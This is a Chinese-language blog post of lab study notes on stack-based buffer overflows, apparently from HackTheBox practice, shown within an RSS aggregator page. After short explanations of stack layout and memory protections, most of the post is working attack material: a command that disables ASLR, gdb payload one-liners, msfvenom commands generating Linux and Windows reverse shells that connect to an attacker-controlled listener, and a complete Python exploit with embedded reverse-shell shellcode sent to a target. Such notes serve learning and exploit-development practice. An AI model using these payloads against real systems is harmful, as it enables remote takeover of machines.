惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

U
Unit 42
Vercel News
Vercel News
博客园 - 叶小钗
大猫的无限游戏
大猫的无限游戏
MyScale Blog
MyScale Blog
P
Proofpoint News Feed
量子位
Engineering at Meta
Engineering at Meta
B
Blog RSS Feed
博客园 - 【当耐特】
Recent Announcements
Recent Announcements
Google DeepMind News
Google DeepMind News
D
DataBreaches.Net
Stack Overflow Blog
Stack Overflow Blog
博客园 - 聂微东
小众软件
小众软件
Hugging Face - Blog
Hugging Face - Blog
人人都是产品经理
人人都是产品经理
IT之家
IT之家
T
The Blog of Author Tim Ferriss
Last Week in AI
Last Week in AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Jina AI
Jina AI
博客园 - 三生石上(FineUI控件)

ABB00717

PHP Filter to RCE Redis HTB - Pollution 工具 常見服務 HTB - BroScience 如何把爛爛的 shell 升級成好用的 TTY 滲透筆記 HTB - Imagery HTB - Reset HTB - Trick HTB - Editorial 150. Evaluate Reverse Polish Notation droopescan 安裝找不到 module imp 解決「桌面背景被當成一個視窗不斷重新彈出並覆蓋其他視窗」的問題 桌面不斷彈出覆蓋其他視窗 medusa 找不到 ssh module 中文文案排版指北 BugBounty Playbook 小知識 透過 Ubuntu 26 設定 Windows 11 雙系統並使用 Image Recovery 之踩坑全紀錄 透過 Ubuntu 26 設定 Windows 11 雙系統並使用 Image Recovery 之踩坑全紀錄 清除 git history 中的機敏資料 編譯器筆記 部落格聚集地 HTB - Busqueda 788. Rotated Digits 788. Rotated Digits 396. Rotate Function 396. Rotate Function
Stack-Based Buffer Overflow
2026-01-18 · via ABB00717

假設你已經對計算機組織有很深的理解了,那很好!一張圖就可以弄懂了。

Source

指令會儲存在記憶體內,其中最重要的是返回地址(Return Address),只要改寫了就可以跳轉到任意位址。

  • 任何試圖寫入 .text 的行為都會直接導致區段錯誤(Segmentation Fault)。
  • Stack Pointer 會由高位址往低位址移動。

現代記憶體保護機制:

  • Canary:在區域變數與回傳位址間插入隨機的祕密數值,因為要覆寫回傳位址,必定會先破壞這個數值。所以,程式在回傳前如果發現不一致,就會強制關閉程式
  • DEF:將記憶體標記唯獨。駭客利用 ROP 繞過這點,把 Shellcode 上傳道可執行空間
  • ASLR:位址空間組態隨機化。駭客可以透過洩漏記憶體位址繞過,但這極大加漏洞利用的難度

所有直接操作記憶體的函式,都是易受攻擊的函式:

  • strcpy
  • gets
  • sprintf
  • scanf
  • strcat

這已經是過時的技術了吧?現在抓記憶體錯誤的工具這麼多,AddressSanitizer, Valgrind ...,為什麼還要學這個?

有的服務還真就這麼過時。更何況,很多進階技巧都是基於這些技巧。就像是你要了解科技發展,你最好也了解一下蒸汽機的歷史。

思路

從攻擊的函式開始,一路覆寫。知道到 Return Address 需要多少偏移量後,在 Executable 的區塊順代注入 Shellcode,並把修改最後的 Return Address 指向 Shellcode 就完成了。

生成偏移量可用 pattern-create,計算可用 pattern-offset,Shellcode 生成可用 msfvenom,之後即可組成一個 Payload 注入 vulnerable 程式輸入,即完成 Buffer Overflow 攻擊。

而在組合語言這章節就有提到,Shellcode 裡不該包含 0x00,我們在生成 Payload 時,也有一些壞字元(Bad Characters)要注意,不同輸入環境會有各異的壞字元,所以先自行篩選。以下是幾個可能利用的輸入:

  • Text Input Fields
  • Opened Files
  • Program Arguments
  • Remote Resources

總之,其實 Buffer Overflows 攻擊大致都遵循以下幾個步驟:

  1. Fuzzing Parameters
  2. Controlling EIP
  3. Identifying Bad Characters
  4. Finding a Return Instruction
  5. Jumping to Shellcode

Linux x86

停用 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
gcc main.c -o prog -fno-stack-protector -z execstack -m32

實做

$ pattern_create -l <offset>
$ pattern_offset -q <address>
$ run $(python -c 'print "\x55" * (<offset> - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
(gdb) x/<n>xb $esp+<offset> # 看到某個字元消失,就代表它是壞字元
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
(gdb) run $(python -c 'print "\x55" * (<offset> - 100 - <shellcode>) + "\x90" * 100 + "<Shellcode>" + "<Addr_to_NOP>"')

可以在 Shellcode 前加上一些 NOP 0x90

Windows x86

一定要在 HTB 提供的 Lab 下做。我用自己的 Win11 虛擬機,防的超嚴,好像漏洞都被擋掉了 xD

ERC --bytearr
ERC --pattern c <num>
ERC --pattern o <pattern>
ERC --compare <ESP> <file.bin>

找到 JMP ESP 或是 POP ESP; RET 指令的位址,並把它複寫到 EIP。假設我們得知 offset = 1052 可以複寫 Return Address,並沒有 Bad Characters,且 jmp esp0x0069D2E5

$ msfvenom -l payload | grep windows | grep shell | grep reverse
...SNIP...
    windows/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
...SNIP...
 
$ msfvenom --payload windows/shell_reverse_tcp --list-options
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
...SNIP...
 
$ ip a
...SNIP...
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.10.15.248/23 brd 10.10.15.255 scope global tun0
...SNIP...
 
$ nc -lvnp 12345
$ msfvenom --payload windows/shell_reverse_tcp LHOST=10.10.15.248 LPORT=12345 -f 'python'
# exploit.py
import socket
from struct import pack
 
IP = "10.129.211.11"
port = 8889
 
def exploit():
	# msfvenom --payload windows/shell_reverse_tcp LHOST=10.10.15.248 LPORT=12345 -f 'python'
	buf =  b""
	buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
	buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
	buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
	buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
	buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
	buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
	buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
	buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
	buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
	buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
	buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
	buf += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
	buf += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
	buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
	buf += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
	buf += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a"
	buf += b"\x0f\xf8\x68\x02\x00\x30\x39\x89\xe6\x6a\x10\x56"
	buf += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
	buf += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
	buf += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
	buf += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
	buf += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
	buf += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
	buf += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
	buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
	buf += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
	buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
 
    offset = 1052
    buffer = b"A"*offset
    eip = pack('<L', 0x0069D2E5)
    nop = b"\x90"*32
    payload = buffer + eip + nop + buf
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()
 
exploit()

更詳細的 Windows 提權可以參考:


參考資料